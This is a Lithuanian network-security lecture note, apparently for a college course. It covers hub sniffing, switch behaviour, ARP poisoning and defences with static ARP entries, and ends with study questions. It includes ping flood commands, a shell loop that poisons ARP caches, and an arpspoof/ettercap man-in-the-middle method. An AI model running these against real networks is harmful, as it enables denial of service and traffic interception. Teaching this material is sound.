http://lt.wikipedia.org/wiki/OSI_modelis
TCP/IP daugelyje lygių turi spragų: Kuo toliau nuo žemiausio lygio, tuo blogiau.
Fizinis lygmuo: IEEE 802.3 ETHERNET
Fizinio lygmens įrenginys- hub (šakotuvas).
Problema: visi mato viską. Hub-as veikia kaip stiprintuvas, jis neizoliuoja informacijos perdavimo tarp kompiuterių. Topologija atitinka bendrą magistralę, kur tik vienas kompiuteris siunčia, o visi klauso. Informaciją priima tik vienas kompiuteris, kuriam ji skirta. Kiti- atmeta.
Tačiau niekas nedraudžia kompiuteriui, kuriam informacija nepriklauso, įjungti atvirą "promiscous" režimą ir priimti svetimą informaciją. Taip gaunamas šnipinėjimas klausantis tik savęs. Toks informacijos matomumas gali būti naudingas "serveris- monitoringo kompiuteris" atveju. Tada net serverio "nulaužimo" atveju, kai pakeičiamos komandos, OS branduolys su tikslu nerodyti siunčiamos iš serverio informacijos, atidarytų portų, turėsite objektyvią informaciją iš savo kompiuterio "šnipo". Kitaip sakant, seksite save, kad surasti netinkamus pokyčius, atsiradusius jūsų serveryje.
Keli kompiuteriai gali išskaičiuoti, kad jau galima siūsti, pradeda siūsti, gaunamas elektrinio signalo iškraipymas- kolizija. Taigi problema- kolizijos ir sąmoningas flood-inimas. Kas nors gali specialiai paleisti, kad ir ping flood-ą iš kelių kompiuterių, taip sukurdamas dirbtines kolizijas:
ping -f -s 65000 IPadresas
ping -f -s 65000 224.0.0.1 #bandymas iššaukti masinį echo reply
Sprendimas: nenaudoti hub-ų.
Data link (kanalo ryšio) lygmuo
Naudojant kanalo lygmens įrenginį Switching hub- pagėrėja duomenų apsauga. Switch-as vykdo sujungimus "kompiuteris-kompiuteris", tiksliau "kompiuterio plokštė-kita plokštė" pagal MAC adresus. Jis turi galimybę atsiminti MAC adresų- fizinių jungčių poras. Taigi HTTP tiesiogiai pasiklausyti nepavyks.
Dalis duomenų praeina pro switch įrenginį: masinės užklausos. ARP, windows UDP, todėl galima matyti ką iš dalies veikia kompiuteris. Galima spėti naudojimosi internetu aktyvumą, operacinę sistemą. Windows sistema mėgsta svaidytis masiniais x.x.x.255 IP adresais (10.0.1.255, 192.168.0.255 ir pan.) ir FF:FF:FF:FF:FF:FF MAC adresais. DHCP užklausos siunčiamos 255.255.255.255 adresu.
ARP- Address resolution protocol, polygio protokolas skirtas surasti MAC pagal IP, nes kompiuteriai lokaliame tinkle komunikuoja naudojant MAC o ne IP. Kadrai priimami arba atmetami pagal MAC o ne pagal IP. ARP gali tapti didele problema. Jeigu A nori bendrauti su B, jis pirmiausiai siunčia ARP užklausą masiniu FF:FF:FF:FF:FF:FF adresu. B kompiuteris priima užklausą, paima iš jos A kompiuterio MAC- IP irašą ir įsirašo į savo ARP kaupyklą-lentelę. Tada išsiunčia atsakymą jau konkrečiu A MAC adresu. Taigi į svetimą B kompiuterį galima prirašyti neteisingų MAC-IP porų nepriklausomai nuo svetimo B kompiuterio valios.
ARP teršimo pvz (ARP poisoning):
while true
sleep 2
do
for i in 254 1 2 3 4 5 6 7 8 9 69
do
addr="192.168.0.$i"
ifconfig eth0 $addr
ifconfig eth0
ping -c 1-q 192.168.0.70
done
doneKą rodo arp -a prieš ir po kodo vykdymo? Windows XP kompiuteryje:
C:\Documents and Settings\KOLEGIJA>arp -a
Interface: 10.0.1.59 --- 0x3
Internet Address Physical Address Type
10.0.1.1 00-06-4f-2f-ac-98 dynamic
10.0.1.2 00-06-4f-2f-ac-98 dynamic
10.0.1.3 00-06-4f-2f-ac-98 dynamic
10.0.1.4 00-06-4f-2f-ac-98 dynamic
10.0.1.5 00-06-4f-2f-ac-98 dynamic
10.0.1.6 00-06-4f-2f-ac-98 dynamic
10.0.1.7 00-06-4f-2f-ac-98 dynamic
10.0.1.8 00-06-4f-2f-ac-98 dynamic
10.0.1.254 00-06-4f-2f-ac-98 dynamicTai vadinama ARP poisoning- kompiuteris "blokuotas"

.
ARP įrašo fiksavimas
Apsauga nuo
arp atakų- aprašyti maršrutizatoriuje ir vartotojų kompiuteriuose arp įrašus. Net jeigu aprašoma iš vienos pusės, tai jau veikia kaip dalinė apsauga, bent jau negalės sniff-inti.
ARP komanda
Linux. arp lentelė:
arp -aLinux. Trynimas vienam IP:
arp -d [IP]Linux. Paimti arp iš
/etc/ethersarp -f/etc/ethers pavidalas:
00:00:4b:3e:45:e2 10.0.1.2
00:00:56:3e:36:1f 10.0.1.1
00:11:95:d1:6f:60 10.0.1.254 Windows
arp komandos:
arp -s 157.55.85.212 00-aa-00-62-c6-09
arp -d [IP]
arp -d
arp -aTaip pat svarbu stebėti tinklą, ar nepadaugėjo 5 ar 100 kartų ARP užklausų, jeigu taip- turite problemų.
Ataka
dsniff priemonė turi komandą
arpspoof. Jeigu tinklas switchinis, naudojam arpspoof, sakom, kad "aš" esu "maršrutizatorius" "jonui", o ktaim
arpspoof variantui sakom, kad "aš" esu "jonas" "maršrutizatoriui", įjungiame
ipforward galimybę
, su kokia nors monitoringo priemone matome, kad info srautas tarp "jonas" ir "maršrutizatorius" eina per mano kompiuterį. Tokia ataka lengvai detektuojama su "wireshark" ar "packetyzer". Apsauga irgi paprasta- fiksuoti
arp įrašai. Dar kera priemonė: ettercap.
Nauda
Kartais tai kas juoda netikėtai virsta balta. Pavyzdžiui trojos arklių tikrinimas: administratorius pradeda
ARP spoofing-ą, norint nustatyti ar vartotojo kompiuteris neturi trojanų, t.y. paleidžia informacijos srautą tarp maršrutizatoriaus ir vartotojo kompiuterio per savo lokalų kompiuterį. Tarkim administratoriui, kuris aptarnauja įmonę dideliam pastate ir negali prieiti prie maršrutizatoriaus. Tai gali tapti pagalbos priemonė, nustatanti apnuodytus kompiuterius.
Klausimai, susiję su duomenų saugumu
1. Kaip pastebėti tinkle kompiuterį -ARP protokolas, -IP protokolas, +promiscuous?
2. Kaip pastebeti kompiuterį +ARP, +IP, +promiscuous?
3. Kas bus, kai sukeičiami swicho portai, perjungiant kabelius?
4. Kaip switch pervesti į hub režimą?
5. Kaip apsisaugoti nuo ARP atakų?